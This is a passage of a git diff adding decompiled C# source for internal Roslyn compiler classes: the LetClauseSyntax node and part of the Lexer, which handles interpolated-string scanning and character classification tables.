--- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LetClauseSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class LetClauseSyntax : QueryClauseSyntax +{ + internal readonly SyntaxToken letKeyword; + + internal readonly SyntaxToken identifier; + + internal readonly SyntaxToken equalsToken; + + internal readonly ExpressionSyntax expression; + + public SyntaxToken LetKeyword => letKeyword; + + public SyntaxToken Identifier => identifier; + + public SyntaxToken EqualsToken => equalsToken; + + public ExpressionSyntax Expression => expression; + + internal LetClauseSyntax(SyntaxKind kind, SyntaxToken letKeyword, SyntaxToken identifier, SyntaxToken equalsToken, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)letKeyword); + this.letKeyword = letKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal LetClauseSyntax(SyntaxKind kind, SyntaxToken letKeyword, SyntaxToken identifier, SyntaxToken equalsToken, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)letKeyword); + this.letKeyword = letKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal LetClauseSyntax(SyntaxKind kind, SyntaxToken letKeyword, SyntaxToken identifier, SyntaxToken equalsToken, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)letKeyword); + this.letKeyword = letKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => letKeyword, + 1 => identifier, + 2 => equalsToken, + 3 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.LetClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLetClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLetClause(this); + } + + public LetClauseSyntax Update(SyntaxToken letKeyword, SyntaxToken identifier, SyntaxToken equalsToken, ExpressionSyntax expression) + { + if (letKeyword != LetKeyword || identifier != Identifier || equalsToken != EqualsToken || expression != Expression) + { + LetClauseSyntax letClauseSyntax = SyntaxFactory.LetClause(letKeyword, identifier, equalsToken, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + letClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(letClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + letClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(letClauseSyntax, (IEnumerable)annotations); + } + return letClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new LetClauseSyntax(base.Kind, letKeyword, identifier, equalsToken, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new LetClauseSyntax(base.Kind, letKeyword, identifier, equalsToken, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal LetClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + letKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + equalsToken = syntaxToken3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)letKeyword); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)equalsToken); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static LetClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(LetClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new LetClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/Lexer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/Lexer.cs new file mode 100644 index 0000000..fa1abb9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/Lexer.cs @@ -0,0 +1,5391 @@ +using System; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class Lexer : AbstractLexer +{ + internal struct TokenInfo + { + internal SyntaxKind Kind; + + internal SyntaxKind ContextualKind; + + internal string? Text; + + internal SpecialType ValueKind; + + internal bool RequiresTextForXmlEntity; + + internal bool HasIdentifierEscapeSequence; + + internal string? StringValue; + + internal char CharValue; + + internal int IntValue; + + internal uint UintValue; + + internal long LongValue; + + internal ulong UlongValue; + + internal float FloatValue; + + internal double DoubleValue; + + internal decimal DecimalValue; + + internal bool IsVerbatim; + } + + internal readonly struct Interpolation + { + public readonly Range OpenBraceRange; + + public readonly Range ColonRange; + + public readonly Range CloseBraceRange; + + public bool HasColon => ColonRange.Start.Value != ColonRange.End.Value; + + public Interpolation(Range openBraceRange, Range colonRange, Range closeBraceRange) + { + OpenBraceRange = openBraceRange; + ColonRange = colonRange; + CloseBraceRange = closeBraceRange; + } + } + + internal enum InterpolatedStringKind + { + Normal, + Verbatim, + SingleLineRaw, + MultiLineRaw + } + + [NonCopyable] + private ref struct InterpolatedStringScanner(Lexer lexer) + { + private readonly Lexer _lexer = lexer; + + public SyntaxDiagnosticInfo? Error = null; + + private bool IsAtEnd(InterpolatedStringKind kind) + { + bool allowNewline = ((kind == InterpolatedStringKind.Verbatim || kind == InterpolatedStringKind.MultiLineRaw) ? true : false); + return IsAtEnd(allowNewline); + } + + private bool IsAtEnd(bool allowNewline) + { + char c = _lexer.TextWindow.PeekChar(); + if (allowNewline || !SyntaxFacts.IsNewLine(c)) + { + if (c == '\uffff') + { + return _lexer.TextWindow.IsReallyAtEnd(); + } + return false; + } + return true; + } + + private void TrySetError(SyntaxDiagnosticInfo error) + { + if (Error == null) + { + Error = error; + } + } + + internal void ScanInterpolatedStringLiteralTop(out InterpolatedStringKind kind, out Range openQuoteRange, ArrayBuilder? interpolations, out Range closeQuoteRange) + { + int position = _lexer.TextWindow.Position; + int startingDollarSignCount; + int startingQuoteCount; + bool num = ScanOpenQuote(out kind, out startingDollarSignCount, out startingQuoteCount); + openQuoteRange = position.._lexer.TextWindow.Position; + if (!num) + { + closeQuoteRange = _lexer.TextWindow.Position.._lexer.TextWindow.Position; + return; + } + ScanInterpolatedStringLiteralContents(kind, startingDollarSignCount, startingQuoteCount, interpolations); + ScanInterpolatedStringLiteralEnd(kind, startingQuoteCount, out closeQuoteRange); + } + + private bool ScanOpenQuote(out InterpolatedStringKind kind, out int startingDollarSignCount, out int startingQuoteCount) + { + SlidingTextWindow textWindow = _lexer.TextWindow; + int position = textWindow.Position; + char c = textWindow.PeekChar(0); + char c2 = textWindow.PeekChar(1); + char c3 = textWindow.PeekChar(2); + if (c != '$') + { + if (c == '@' && c2 == '$') + { + goto IL_004a; + } + } + else if (c2 == '@') + { + goto IL_004a; + } + goto IL_0055; + IL_0058: + bool flag; + if (flag) + { + kind = InterpolatedStringKind.Verbatim; + startingDollarSignCount = 1; + startingQuoteCount = 1; + textWindow.AdvanceChar(3); + return true; + } + char num = textWindow.PeekChar(0); + c3 = textWindow.PeekChar(1); + c2 = textWindow.PeekChar(2); + c = textWindow.PeekChar(3); + if ((num == '$' && c3 == '"' && (c2 != '"' || c != '"')) ? true : false) + { + kind = InterpolatedStringKind.Normal; + startingDollarSignCount = 1; + startingQuoteCount = 1; + textWindow.AdvanceChar(2); + return true; + } + int num2 = _lexer.ConsumeAtSignSequence(); + startingDollarSignCount = _lexer.ConsumeDollarSignSequence(); + int num3 = _lexer.ConsumeAtSignSequence(); + startingQuoteCount = _lexer.ConsumeQuoteSequence(); + int num4 = num2 + num3; + if (startingQuoteCount == 0) + { + TrySetError(_lexer.MakeError(position, textWindow.Position - position, ErrorCode.ERR_StringMustStartWithQuoteCharacter)); + kind = ((num4 == 1 && startingDollarSignCount == 1) ? InterpolatedStringKind.Verbatim : InterpolatedStringKind.SingleLineRaw); + return false; + } + if (num4 > 0) + { + TrySetError(_lexer.MakeError(position, textWindow.Position - position, ErrorCode.ERR_IllegalAtSequence)); + } + if (startingQuoteCount < 3) + { + TrySetError(_lexer.MakeError(textWindow.Position - startingQuoteCount, startingQuoteCount, ErrorCode.ERR_NotEnoughQuotesForRawString)); + } + int position2 = textWindow.Position; + _lexer.ConsumeWhitespace(null); + if (SyntaxFacts.IsNewLine(textWindow.PeekChar())) + { + textWindow.AdvancePastNewLine(); + kind = InterpolatedStringKind.MultiLineRaw; + } + else + { + textWindow.Reset(position2); + kind = InterpolatedStringKind.SingleLineRaw; + } + return true; + IL_004a: + if (c3 != '"') + { + goto IL_0055; + } + flag = true; + goto IL_0058; + IL_0055: + flag = false; + goto IL_0058; + } + + private void ScanInterpolatedStringLiteralEnd(InterpolatedStringKind kind, int startingQuoteCount, out Range closeQuoteRange) + { + int position = _lexer.TextWindow.Position; + if ((uint)kind <= 1u) + { + ScanNormalOrVerbatimInterpolatedStringLiteralEnd(kind); + } + else + { + ScanRawInterpolatedStringLiteralEnd(kind, startingQuoteCount); + } + closeQuoteRange = position.._lexer.TextWindow.Position; + } + + private void ScanNormalOrVerbatimInterpolatedStringLiteralEnd(InterpolatedStringKind kind) + { + if (_lexer.TextWindow.PeekChar() != '"') + { + TrySetError(_lexer.MakeError(IsAtEnd(allowNewline: true) ? (_lexer.TextWindow.Position - 1) : _lexer.TextWindow.Position, 1, ErrorCode.ERR_UnterminatedStringLit)); + } + else + { + _lexer.TextWindow.AdvanceChar(); + } + } + + private void ScanRawInterpolatedStringLiteralEnd(InterpolatedStringKind kind, int startingQuoteCount) + { + if (kind == InterpolatedStringKind.SingleLineRaw) + { + if (_lexer.TextWindow.PeekChar() != '"') + { + TrySetError(_lexer.MakeError(IsAtEnd(allowNewline: true) ? (_lexer.TextWindow.Position - 1) : _lexer.TextWindow.Position, 1, ErrorCode.ERR_UnterminatedRawString)); + return; + } + int num = _lexer.ConsumeQuoteSequence(); + if (num > startingQuoteCount) + { + int num2 = num - startingQuoteCount; + TrySetError(_lexer.MakeError(_lexer.TextWindow.Position - num2, num2, ErrorCode.ERR_TooManyQuotesForRawString)); + } + } + else if (IsAtEnd(kind)) + { + TrySetError(_lexer.MakeError(_lexer.TextWindow.Position - 1, 1, ErrorCode.ERR_UnterminatedRawString)); + } + else if (_lexer.TextWindow.PeekChar() == '"') + { + int num3 = _lexer.ConsumeQuoteSequence(); + TrySetError(_lexer.MakeError(_lexer.TextWindow.Position - num3, num3, ErrorCode.ERR_RawStringDelimiterOnOwnLine)); + } + else + { + _lexer.TextWindow.AdvancePastNewLine(); + _lexer.ConsumeWhitespace(null); + int num4 = _lexer.ConsumeQuoteSequence(); + if (num4 > startingQuoteCount) + { + int num5 = num4 - startingQuoteCount; + TrySetError(_lexer.MakeError(_lexer.TextWindow.Position - num5, num5, ErrorCode.ERR_TooManyQuotesForRawString)); + } + } + } + + private void ScanInterpolatedStringLiteralContents(InterpolatedStringKind kind, int startingDollarSignCount, int startingQuoteCount, ArrayBuilder? interpolations) + { + if (CheckForIllegalEmptyMultiLineRawStringLiteral(kind, startingQuoteCount)) + { + return; + } + while (!IsAtEnd(kind) && !IsAtEndOfMultiLineRawLiteral(kind, startingQuoteCount)) + { + switch (_lexer.TextWindow.PeekChar()) + { + case '"': + if (IsEndDelimiterOtherwiseConsume(kind, startingQuoteCount)) + { + return; + } + break; + case '}': + HandleCloseBraceInContent(kind, startingDollarSignCount); + break; + case '{': + HandleOpenBraceInContent(kind, startingDollarSignCount, interpolations); + break; + case '\\': + if (kind == InterpolatedStringKind.Normal) + { + int position = _lexer.TextWindow.Position; + char surrogateCharacter; + char c = _lexer.ScanEscapeSequence(out surrogateCharacter); + if ((c == '{' || c == '}') ? true : false) + { + TrySetError(_lexer.MakeError(position, _lexer.TextWindow.Position - position, ErrorCode.ERR_EscapedCurly, c)); + } + } + else + { + _lexer.TextWindow.AdvanceChar(); + } + break; + default: + _lexer.TextWindow.AdvanceChar(); + break; + } + } + } + + private bool CheckForIllegalEmptyMultiLineRawStringLiteral(InterpolatedStringKind kind, int startingQuoteCount) + { + if (kind == InterpolatedStringKind.MultiLineRaw) + { + _lexer.ConsumeWhitespace(null); + int position = _lexer.TextWindow.Position; + int num = _lexer.ConsumeQuoteSequence(); + if (num >= startingQuoteCount) + { + TrySetError(_lexer.MakeError(_lexer.TextWindow.Position - num, num, ErrorCode.ERR_RawStringMustContainContent)); + _lexer.TextWindow.Reset(position); + return true; + } + } + return false; + } + + private bool IsAtEndOfMultiLineRawLiteral(InterpolatedStringKind kind, int startingQuoteCount) + { + if (kind == InterpolatedStringKind.MultiLineRaw) + { + int position = _lexer.TextWindow.Position; + if (SyntaxFacts.IsNewLine(_lexer.TextWindow.PeekChar())) + { + _lexer.TextWindow.AdvancePastNewLine(); + _lexer.ConsumeWhitespace(null); + int num = _lexer.ConsumeQuoteSequence(); + _lexer.TextWindow.Reset(position); + if (num >= startingQuoteCount) + { + return true; + } + } + } + return false; + } + + private bool IsEndDelimiterOtherwiseConsume(InterpolatedStringKind kind, int startingQuoteCount) + { + if ((uint)kind <= 1u) + { + if (RecoveringFromRunawayLexing()) + { + return true; + } + if (kind == InterpolatedStringKind.Normal) + { + return true; + } + if (_lexer.TextWindow.PeekChar(1) != '"') + { + return true; + } + _lexer.TextWindow.AdvanceChar(2); + } + else + { + int position = _lexer.TextWindow.Position; + if (_lexer.ConsumeQuoteSequence() >= startingQuoteCount) + { + _lexer.TextWindow.Reset(position); + return true; + } + } + return false; + } + + private void HandleCloseBraceInContent(InterpolatedStringKind kind, int startingDollarSignCount) + { + if ((uint)kind <= 1u) + { + int position = _lexer.TextWindow.Position; + _lexer.TextWindow.AdvanceChar(); + if (_lexer.TextWindow.PeekChar() == '}') + { + _lexer.TextWindow.AdvanceChar(); + return; + } + TrySetError(_lexer.MakeError(position, 1, ErrorCode.ERR_UnescapedCurly, "}")); + } + else + { + int num = _lexer.ConsumeCloseBraceSequence(); + if (num >= startingDollarSignCount) + { + TrySetError(_lexer.MakeError(_lexer.TextWindow.Position - num, num, ErrorCode.ERR_TooManyCloseBracesForRawString)); + } + } + } + + private void HandleOpenBraceInContent(InterpolatedStringKind kind, int startingDollarSignCount, ArrayBuilder? interpolations) + { + if ((uint)kind <= 1u) + { + HandleOpenBraceInNormalOrVerbatimContent(kind, interpolations); + } + else + { + HandleOpenBraceInRawContent(kind, startingDollarSignCount, interpolations); + } + } + + private void HandleOpenBraceInNormalOrVerbatimContent(InterpolatedStringKind kind, ArrayBuilder? interpolations) + { + if (_lexer.TextWindow.PeekChar(1) == '{') + { + _lexer.TextWindow.AdvanceChar(2); + return; + } + int position = _lexer.TextWindow.Position; + _lexer.TextWindow.AdvanceChar(); + ScanInterpolatedStringLiteralHoleBalancedText(kind, '}', isHole: true, out var colonRange); + int position2 = _lexer.TextWindow.Position; + if (_lexer.TextWindow.PeekChar() == '}') + { + _lexer.TextWindow.AdvanceChar(); + } + else + { + TrySetError(_lexer.MakeError(position - 1, 2, ErrorCode.ERR_UnclosedExpressionHole)); + } + interpolations?.Add(new Interpolation(position..(position + 1), colonRange, position2.._lexer.TextWindow.Position)); + } + + private void HandleOpenBraceInRawContent(InterpolatedStringKind kind, int startingDollarSignCount, ArrayBuilder? interpolations) + { + int position = _lexer.TextWindow.Position; + int num = _lexer.ConsumeOpenBraceSequence(); + if (num >= startingDollarSignCount) + { + int position2 = _lexer.TextWindow.Position; + if (num >= 2 * startingDollarSignCount) + { + TrySetError(_lexer.MakeError(position, num - startingDollarSignCount, ErrorCode.ERR_TooManyOpenBracesForRawString)); + } + ScanInterpolatedStringLiteralHoleBalancedText(kind, '}', isHole: true, out var colonRange); + int position3 = _lexer.TextWindow.Position; + int num2 = _lexer.ConsumeCloseBraceSequence(); + if (num2 == 0) + { + TrySetError(_lexer.MakeError(position2 - startingDollarSignCount, startingDollarSignCount, ErrorCode.ERR_UnclosedExpressionHole)); + } + else if (num2 < startingDollarSignCount) + { + TrySetError(_lexer.MakeError(position, num - startingDollarSignCount, ErrorCode.ERR_NotEnoughCloseBracesForRawString)); + } + else + { + _lexer.TextWindow.Reset(position3 + startingDollarSignCount); + } + interpolations?.Add(new Interpolation((position2 - startingDollarSignCount)..position2, colonRange, position3.._lexer.TextWindow.Position)); + } + } + + private void ScanFormatSpecifier(InterpolatedStringKind kind) + { + _lexer.TextWindow.AdvanceChar(); + while (true) + { + char c = _lexer.TextWindow.PeekChar(); + if (c == '\\' && kind == InterpolatedStringKind.Normal) + { + int position = _lexer.TextWindow.Position; + c = _lexer.ScanEscapeSequence(out var _); + if ((c == '{' || c == '}') ? true : false) + { + TrySetError(_lexer.MakeError(position, 1, ErrorCode.ERR_EscapedCurly, c)); + } + continue; + } + switch (c) + { + case '"': + if (kind == InterpolatedStringKind.Verbatim && _lexer.TextWindow.PeekChar(1) == '"') + { + _lexer.TextWindow.AdvanceChar(2); + break; + } + return; + case '{': + TrySetError(_lexer.MakeError(_lexer.TextWindow.Position, 1, ErrorCode.ERR_UnexpectedCharacter, c)); + _lexer.TextWindow.AdvanceChar(); + break; + case '}': + return; + default: + if (IsAtEnd(allowNewline: true)) + { + return; + } + _lexer.TextWindow.AdvanceChar(); + break; + } + } + } + + private void ScanInterpolatedStringLiteralHoleBalancedText(InterpolatedStringKind kind, char endingChar, bool isHole, out Range colonRange) + { + colonRange = default(Range); + while (true) + { + char c = _lexer.TextWindow.PeekChar(); + if (IsAtEnd(allowNewline: true)) + { + break; + } + switch (c) + { + case '#': + TrySetError(_lexer.MakeError(_lexer.TextWindow.Position, 1, ErrorCode.ERR_SyntaxError, endingChar.ToString())); + _lexer.TextWindow.AdvanceChar(); + continue; + case '$': + { + TokenInfo info2 = default(TokenInfo); + if (_lexer.TryScanInterpolatedString(ref info2)) + { + continue; + } + break; + } + case ':': + if (isHole) + { + colonRange = _lexer.TextWindow.Position..(_lexer.TextWindow.Position + 1); + ScanFormatSpecifier(kind); + return; + } + break; + case ')': + case ']': + case '}': + if (c == endingChar) + { + return; + } + TrySetError(_lexer.MakeError(_lexer.TextWindow.Position, 1, ErrorCode.ERR_SyntaxError, endingChar.ToString())); + break; + case '"': + if (RecoveringFromRunawayLexing()) + { + return; + } + ScanInterpolatedStringLiteralNestedString(); + continue; + case '\'': + ScanInterpolatedStringLiteralNestedString(); + continue; + case '@': + { + TokenInfo info = default(TokenInfo); + if (_lexer.TryScanAtStringToken(ref info)) + { + continue; + } + break; + } + case '/': + switch (_lexer.TextWindow.PeekChar(1)) + { + case '/': + _lexer.ScanToEndOfLine(); + break; + case '*': + { + _lexer.ScanMultiLineComment(out var _); + break; + } + default: + _lexer.TextWindow.AdvanceChar(); + break; + } + continue; + case '{': + ScanInterpolatedStringLiteralHoleBracketed(kind, '{', '}'); + continue; + case '(': + ScanInterpolatedStringLiteralHoleBracketed(kind, '(', ')'); + continue; + case '[': + ScanInterpolatedStringLiteralHoleBracketed(kind, '[', ']'); + continue; + } + _lexer.TextWindow.AdvanceChar(); + } + } + + private bool RecoveringFromRunawayLexing() + { + return Error != null; + } + + private void ScanInterpolatedStringLiteralNestedString() + { + TokenInfo info = default(TokenInfo); + _lexer.ScanStringLiteral(ref info, inDirective: false); + } + + private void ScanInterpolatedStringLiteralHoleBracketed(InterpolatedStringKind kind, char start, char end) + { + _lexer.TextWindow.AdvanceChar(); + ScanInterpolatedStringLiteralHoleBalancedText(kind, end, isHole: false, out var _); + if (_lexer.TextWindow.PeekChar() == end) + { + _lexer.TextWindow.AdvanceChar(); + } + } + } + + private enum QuickScanState : byte + { + Initial, + FollowingWhite, + FollowingCR, + Ident, + Number, + Punctuation, + Dot, + CompoundPunctStart, + DoneAfterNext, + Done, + Bad + } + + private enum CharFlags : byte + { + White, + CR, + LF, + Letter, + Digit, + Punct, + Dot, + CompoundPunctStart, + Slash, + Complex, + EndOfFile + } + + private const int TriviaListInitialCapacity = 8; + + private readonly CSharpParseOptions _options; + + private LexerMode _mode; + + private readonly StringBuilder _builder; + + private char[] _identBuffer; + + private int _identLen; + + private DirectiveStack _directives; + + private readonly LexerCache _cache; + + private readonly bool _allowPreprocessorDirectives; + + private readonly bool _interpolationFollowedByColon; + + private DocumentationCommentParser? _xmlParser; + + private int _badTokenCount; + + private SyntaxListBuilder _leadingTriviaCache = new SyntaxListBuilder(10); + + private SyntaxListBuilder _trailingTriviaCache = new SyntaxListBuilder(10); + + private static readonly int s_conflictMarkerLength = "<<<<<<<".Length; + + private Func? _createWhitespaceTriviaFunction; + + internal const int MaxCachedTokenSize = 42; + + private static readonly byte[,] s_stateTransitions = new byte[9, 11] + { + { + 0, 0, 0, 3, 4, 5, 6, 7, 10, 10, + 10 + }, + { + 1, 2, 8, 9, 9, 9, 9, 9, 10, 10, + 9 + }, + { + 9, 9, 8, 9, 9, 9, 9, 9, 9, 9, + 9 + }, + { + 1, 2, 8, 3, 3, 9, 9, 9, 10, 10, + 9 + }, + { + 1, 2, 8, 10, 4, 9, 10, 9, 10, 10, + 9 + }, + { + 1, 2, 8, 9, 9, 9, 9, 9, 10, 10, + 9 + }, + { + 1, 2, 8, 9, 4, 9, 10, 9, 10, 10, + 9 + }, + { + 1, 2, 8, 9, 9, 10, 9, 10, 10, 10, + 9 + }, + { + 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, + 9 + } + }; + + private readonly Func _createQuickTokenFunction; + + public bool SuppressDocumentationCommentParse => (int)((ParseOptions)_options).DocumentationMode < 1; + + public CSharpParseOptions Options => _options; + + public DirectiveStack Directives => _directives; + + public bool InterpolationFollowedByColon => _interpolationFollowedByColon; + + private bool InDocumentationComment + { + get + { + switch (ModeOf(_mode)) + { + case LexerMode.XmlDocComment: + case LexerMode.XmlElementTag: + case LexerMode.XmlAttributeTextQuote: + case LexerMode.XmlAttributeTextDoubleQuote: + case LexerMode.XmlCrefQuote: + case LexerMode.XmlCrefDoubleQuote: + case LexerMode.XmlNameQuote: + case LexerMode.XmlNameDoubleQuote: + case LexerMode.XmlCDataSectionText: + case LexerMode.XmlCommentText: + case LexerMode.XmlProcessingInstructionText: + case LexerMode.XmlCharacter: + return true; + default: + return false; + } + } + } + + private bool InXmlCrefOrNameAttributeValue + { + get + { + switch (_mode & LexerMode.MaskLexMode) + { + case LexerMode.XmlCrefQuote: + case LexerMode.XmlCrefDoubleQuote: + case LexerMode.XmlNameQuote: + case LexerMode.XmlNameDoubleQuote: + return true; + default: + return false; + } + } + } + + private bool InXmlNameAttributeValue + { + get + { + LexerMode lexerMode = _mode & LexerMode.MaskLexMode; + if (lexerMode == LexerMode.XmlNameQuote || lexerMode == LexerMode.XmlNameDoubleQuote) + { + return true; + } + return false; + } + } + + private static ReadOnlySpan CharProperties => new byte[384] + { + 9, 9, 9, 9, 9, 9, 9, 9, 9, 0, + 2, 0, 0, 1, 9, 9, 9, 9, 9, 9, + 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, + 9, 9, 0, 7, 9, 9, 9, 7, 7, 9, + 5, 5, 7, 7, 5, 7, 6, 8, 4, 4, + 4, 4, 4, 4, 4, 4, 4, 4, 7, 5, + 7, 7, 7, 7, 9, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 5, 9, 5, 7, 3, 9, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 5, 7, 5, 7, 9, 9, 9, + 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, + 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, + 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, + 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, + 3, 9, 9, 9, 9, 9, 9, 9, 9, 9, + 9, 3, 9, 9, 9, 9, 3, 9, 9, 9, + 9, 9, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 9, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 9, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3 + }; + + public Lexer(SourceText text, CSharpParseOptions options, bool allowPreprocessorDirectives = true, bool interpolationFollowedByColon = false) + : base(text) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Expected O, but got Unknown + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + _options = options; + _builder = new StringBuilder(); + _identBuffer = new char[32]; + _cache = new LexerCache(); + _createQuickTokenFunction = CreateQuickToken; + _allowPreprocessorDirectives = allowPreprocessorDirectives; + _interpolationFollowedByColon = interpolationFollowedByColon; + } + + public override void Dispose() + { + _cache.Free(); + if (_xmlParser != null) + { + _xmlParser.Dispose(); + } + base.Dispose(); + } + + public void Reset(int position, DirectiveStack directives) + { + TextWindow.Reset(position); + _directives = directives; + } + + private static LexerMode ModeOf(LexerMode mode) + { + return mode & LexerMode.MaskLexMode; + } + + private bool ModeIs(LexerMode mode) + { + return ModeOf(_mode) == mode; + } + + private static XmlDocCommentLocation LocationOf(LexerMode mode) + { + return (XmlDocCommentLocation)((int)(mode & LexerMode.MaskXmlDocCommentLocation) >> 16); + } + + private bool LocationIs(XmlDocCommentLocation location) + { + return LocationOf(_mode) == location; + } + + private void MutateLocation(XmlDocCommentLocation location) + { + _mode &= ~LexerMode.MaskXmlDocCommentLocation; + _mode |= (LexerMode)((int)location << 16); + } + + private static XmlDocCommentStyle StyleOf(LexerMode mode) + { + return (XmlDocCommentStyle)((int)(mode & LexerMode.MaskXmlDocCommentStyle) >> 20); + } + + private bool StyleIs(XmlDocCommentStyle style) + { + return StyleOf(_mode) == style; + } + + public SyntaxToken Lex(ref LexerMode mode) + { + SyntaxToken result = Lex(mode); + mode = _mode; + return result; + } + + public SyntaxToken Lex(LexerMode mode) + { + _mode = mode; + switch (_mode) + { + case LexerMode.Syntax: + case LexerMode.DebuggerSyntax: + return QuickScanSyntaxToken() ?? LexSyntaxToken(); + case LexerMode.Directive: + return LexDirectiveToken(); + default: + switch (ModeOf(_mode)) + { + case LexerMode.XmlDocComment: + return LexXmlToken(); + case LexerMode.XmlElementTag: + return LexXmlElementTagToken(); + case 